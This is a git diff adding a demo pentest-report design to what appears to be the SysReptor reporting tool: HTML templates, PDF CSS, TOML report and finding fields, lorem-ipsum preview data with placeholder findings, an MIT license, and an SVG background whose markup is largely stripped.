+ {{ finding.title }} + + {{ lodash.capitalize(finding.cvss.level) }} + + {{ finding.retest_status.label }} +
+ +
+ + +
+
+

{{ finding.title }}

+
+ + Criticality: {{ capitalize(finding.cvss.level) }}
+ CVSS-Score: + + {{ finding.cvss.score}} + {{ finding.cvss.score }} + {{ finding.cvss.score }} +
+ + +
+ +
+

Overview

+ +
+ +
+

Remarks on Remediation Status

+ +
+ +
+

Description

+ +
+ +
+

Recommendation

+ +
+ +
+

Additional Information

+ +
+ + +
+
+ + +
+

List of Changes

+ + + + + + + + + + + + + + + + + +
VersionDateDescriptionAuthor
{{ item.version }}{{ item.date }}{{ item.description }} + + + +
+
+ + + # Disclaimer {#disclaimer .in-toc} + + Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + + + + # Imprint {#imprint .in-toc} + + Security Maximale GmbH
+ Example Street 47 | 4711 Example
+ FN 12345 v | District Court Example
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-status-open: #E83221; + --color-status-partial: #FF9300; + --color-status-resolved: #00AE51; + --color-status-accepted: #00AE51; + --color-status-changed: #4285F5; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 11pt; +} + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.status-open { color: var(--color-status-open) !important; font-weight: bold; } +.status-partial { color: var(--color-status-partial) !important; font-weight: bold; } +.status-resolved { color: var(--color-status-resolved) !important; font-weight: bold; } +.status-accepted { color: var(--color-status-accepted) !important; font-weight: bold; } +.status-changed { color: var(--color-status-changed) !important; font-weight: bold; } + + +/* PDF-specific global styles */ +@page { + size: A4 portrait; + margin: 35mm 26mm 26mm 26mm; +} + +a { + color: inherit; + text-decoration: none; +} + +pre code { + background-color: whitesmoke; + padding: 0.2em !important; +} + +/* helper classes */ +.location-ul { + margin: 0px; + margin-bottom:0.2em; +} +.highlight { + color: #303840; +} + + + + + + + + +/* #region header */ +@page { + margin-top: 35mm; + + --header-background-color: #ABABAB; + --header-margin-bottom: 5mm; + + @top-left-corner { + content: ""; + background-color: var(--header-background-color); + margin-bottom: var(--header-margin-bottom); + } + @top-left { + content: element(header-left); + background-color: var(--header-background-color); + margin-bottom: var(--header-margin-bottom); + width: 51%; + margin-left: -1px; + margin-right: -1px; + } + @top-right { + content: element(header-right); + background-color: var(--header-background-color); + margin-bottom: var(--header-margin-bottom); + width: 51%; + margin-left: -1px; + margin-right: -1px; + } + @top-right-corner { + content: ""; + background-color: var(--header-background-color); + margin-bottom: var(--header-margin-bottom); + } +} + +#header #header-left { position: running(header-left); } +#header #header-logo { + display: inline-block; + height: 100%; + width: 20mm; +} +#header #header-logo img { + width: 100%; + height: auto; +} +#header #header-title { + position: absolute; + top: 8mm; + left: 25mm; + color: #303840; + font-size: 16pt; + font-weight: bold; +} + +#header #header-right { + position: running(header-right); + text-align: right; + color: white; + font-size: 9pt; +} +/* #endregion header */ + +/* #region footer */ +@page { + @bottom-right-corner { + /* Page number */ + content: counter(page) " / " counter(pages); + font-size: 9pt; + } +} +/* #endregion footer */ + +/* #region page-cover */ +#page-cover { + margin: -35mm -26mm 10mm -26mm; +} +@page :first { + /* Hide header */ + @top-left-corner { content: none !important; } + @top-left { content: none !important; } + @top-center { content: none !important; } + @top-right { content: none !important; } + @top-right-corner { content: none !important; } + /* Hide footer */ + @bottom-left-corner { content: none !important; } + @bottom-left { content: none !important; } + @bottom-center { content: none !important; } + @bottom-right { content: none !important; } + @bottom-right-corner { content: none !important; } +} + +#page-cover-background { + width: 100%; + height: 120mm; + overflow: hidden; + background-color: black; +} + +#page-cover-background-img { + width: 100%; + transform: scale(1.16) translateY(-11%); + opacity: 0.7; +} + +#page-cover-logo { + position: absolute; + top: -30mm; + left: -7mm; + width: 50%; +} + +#page-cover-logo-text { + position: absolute; + top: -12mm; + left: 4mm; + color: #ffffff; +} + +#page-cover-infobox { + position: absolute; + top: 30mm; + left: -1mm; + width: 150mm; + color: #ffffff; +} + +#page-cover-title { + font-size: 18pt; + font-weight: normal; + margin-top: 0; + margin-bottom: 0.3em; +} + +#page-cover-customer { + position: absolute; + top: 43mm; + left: -1mm; + width: 150mm; + color: #ffffff; +} + +#page-cover-contact { + position: absolute; + top: 46mm; + right: 4mm; + text-align: right; + color: #ffffff; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(" ") " " target-counter(attr(href), page); + font-weight: normal; +} +#toc .toc-level1 { + padding-left: 0; + margin-top: 0.7rem; + font-weight: bold; +} +#toc .toc-level2 { + padding-left: 1.5rem; + margin-top: 0.35rem; + font-weight: normal; +} +#toc .toc-level3 { + padding-left: 3rem; + margin-top: 0.25rem; + font-weight: normal; +} +#toc .toc-level4 { + padding-left: 4.5rem; + margin-top: 0; + font-weight: normal; +} +/* #endregion toc */ + +/* #region findings-list */ +#findings-list { + counter-reset: finding-counter; +} +#findings-list .finding-title::before { + counter-increment: finding-counter; + content: counter(finding-counter) ". "; +} + +#findings-list .markdown h1 { + font-size: 13pt; + font-weight: bold; +} + +#findings-list .markdown h2 { + font-size: 12pt; + font-weight: bold; +} + +#findings-list .markdown h3 { + font-size: 11pt; + font-weight: bold; +} +/* #endregion findings-list */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "TODO report title" +required = true +spellcheck = true + +[report_fields.scope] +type = "markdown" +label = "Scope" +origin = "custom" +default = """ +**TODO scope** + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur +""" +required = true + +[report_fields.customer] +type = "string" +label = "Customer" +origin = "custom" +default = "TODO customer" +required = true +spellcheck = false + +[report_fields.duration] +type = "string" +label = "Duration" +origin = "custom" +default = "TODO person days" +required = true +spellcheck = false + +[report_fields.end_date] +type = "date" +label = "Pentest End Date" +origin = "custom" +required = true + +[report_fields.is_retest] +type = "boolean" +label = "Is Retest" +origin = "predefined" + +[report_fields.start_date] +type = "date" +label = "Pentest Start Date" +origin = "custom" +required = true + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.lead_pentester] +type = "object" +label = "Lead Pentester" +origin = "custom" + +[report_fields.lead_pentester.properties] +[report_fields.lead_pentester.properties.name] +type = "string" +label = "Name" +origin = "custom" +default = "TODO name" +required = true +spellcheck = false + +[report_fields.lead_pentester.properties.email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO email" +required = true +spellcheck = false + +[report_fields.lead_pentester.properties.phone] +type = "string" +label = "Phone Number" +origin = "custom" +default = "TODO phone" +required = true +spellcheck = false + +[report_fields.document_history] +type = "list" +label = "Document History" +origin = "custom" +required = true + +[report_fields.document_history.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.document_history.items.properties] +[report_fields.document_history.items.properties.description] +type = "string" +label = "Description" +origin = "custom" +default = "TODO description" +required = true +spellcheck = false + +[report_fields.document_history.items.properties.date] +type = "date" +label = "Date" +origin = "custom" +required = true + +[report_fields.document_history.items.properties.authors] +type = "list" +label = "Authors" +origin = "custom" +required = true + +[report_fields.document_history.items.properties.authors.items] +type = "string" +label = "" +origin = "custom" +default = "TODO author" +required = true +spellcheck = false + +[report_fields.document_history.items.properties.version] +type = "string" +label = "Version" +origin = "custom" +default = "TODO version" +required = true +spellcheck = false + +[report_fields.executive_summary] +type = "markdown" +label = "Executive Summary" +origin = "custom" +default = """ +**TODO summary** + +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" +required = true + +[[report_sections]] +id = "executive_summary" +label = "Executive Summary" +fields = [ + "executive_summary", +] + +[[report_sections]] +id = "scope" +label = "Scope" +fields = [ + "scope", + "duration", + "start_date", + "end_date", +] + +[[report_sections]] +id = "customer" +label = "Customer" +fields = [ + "customer", +] + +[[report_sections]] +id = "other" +label = "Other" +fields = [ + "title", + "report_date", + "lead_pentester", + "document_history", + "is_retest", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "TODO: New Finding" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "core" +default = "n/a" +required = true + +[finding_fields.summary] +type = "markdown" +label = "Summary" +origin = "predefined" +default = "TODO summary" +required = true + +[finding_fields.description] +type = "markdown" +label = "Technical Description" +origin = "predefined" +default = "TODO description" +required = true + +[finding_fields.recommendation] +type = "markdown" +label = "Recommendation" +origin = "predefined" +default = "TODO recommendation" +required = true + +[finding_fields.references] +type = "list" +label = "References" +origin = "predefined" +required = false + +[finding_fields.references.items] +type = "string" +label = "" +origin = "predefined" +required = true +spellcheck = false + +[finding_fields.retest_notes] +type = "markdown" +label = "Re-test Notes" +origin = "predefined" +required = false + +[finding_fields.retest_status] +type = "enum" +label = "Re-test Status" +origin = "predefined" +required = false + +[[finding_fields.retest_status.choices]] +label = "Open" +value = "open" + +[[finding_fields.retest_status.choices]] +label = "Resolved" +value = "resolved" + +[[finding_fields.retest_status.choices]] +label = "Partially Resolved" +value = "partial" + +[[finding_fields.retest_status.choices]] +label = "Changed" +value = "changed" + +[[finding_fields.retest_status.choices]] +label = "Accepted" +value = "accepted" + +[finding_fields.affected_components] +type = "list" +label = "Affected Components" +origin = "predefined" +required = true + +[finding_fields.affected_components.items] +type = "string" +label = "Component" +origin = "predefined" +default = "TODO affected component" +required = true +spellcheck = false + +[finding_fields.short_recommendation] +type = "string" +label = "Short Recommendation" +origin = "predefined" +required = true +spellcheck = true + +[report_preview_data] +[report_preview_data.report] +title = "Example Web-App" +scope = """ +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur +""" +customer = "Example Customer" +duration = "TODO person days" +end_date = "2022-07-08" +is_retest = true +start_date = "2022-07-08" +report_date = "2022-07-08" +executive_summary = """ +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" + +[report_preview_data.report.lead_pentester] +name = "Maxima Mustermensch" +email = "maxima@securitymaximale.com" +phone = "+43 660 123 456 78 " + +[[report_preview_data.report.document_history]] +description = "Draft" +date = "2022-07-08" +authors = [ + "TODO Author1", +] +version = "0.1" + +[[report_preview_data.report.document_history]] +description = "Final Report" +date = "2022-07-08" +authors = [ + "TODO Author1", + "TODO Author2", +] +version = "1.0" + +[[report_preview_data.findings]] +title = "Demo Finding Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "c5012235-9cd4-475f-86de-0236de1b4b88" +references = [ + "https://example.com/reference1", + "https://example.com/reference2", +] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[report_preview_data.findings]] +title = "Demo Finding Also Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "c6a6d51c-999c-4e8c-a506-596689e73f0b" +references = [ + "https://example.com/reference3", +] +retest_notes = "" +retest_status = "open" +affected_components = [] +short_recommendation = "" + +[[report_preview_data.findings]] +title = "Demo Finding Low" +cvss = "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "cd3c3719-8536-43d4-878a-cdb9dc842b70" +references = [] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[report_preview_data.findings]] +title = "Demo Finding Info" +cvss = "n/a" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "e899b5cf-83d2-48bf-8838-9899246b67fc" +references = [] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[assets]] +id = "9c692534-b436-43a8-aeb3-73e6c7f338a5" +name = "LICENSE" + +[[assets]] +id = "7454d0de-ec3b-43f3-9d28-24a045ce199b" +name = "header-logo.png" + +[[assets]] +id = "6f56f563-1ad5-4552-a188-ff34c97a7e83" +name = "background-26185.jpg" + +[[assets]] +id = "4b253945-b794-4942-b01f-c28ef83b503c" +name = "logo-transparent.png" diff --git a/demo_data/demo-designs/matrix-assets/LICENSE b/demo_data/demo-designs/matrix-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/demo-designs/matrix-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/demo-designs/matrix-assets/background.svg b/demo_data/demo-designs/matrix-assets/background.svg new file mode 100644 index 0000000..4a62910 --- /dev/null +++ b/demo_data/demo-designs/matrix-assets/background.svg @@ -0,0 +1,9137 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 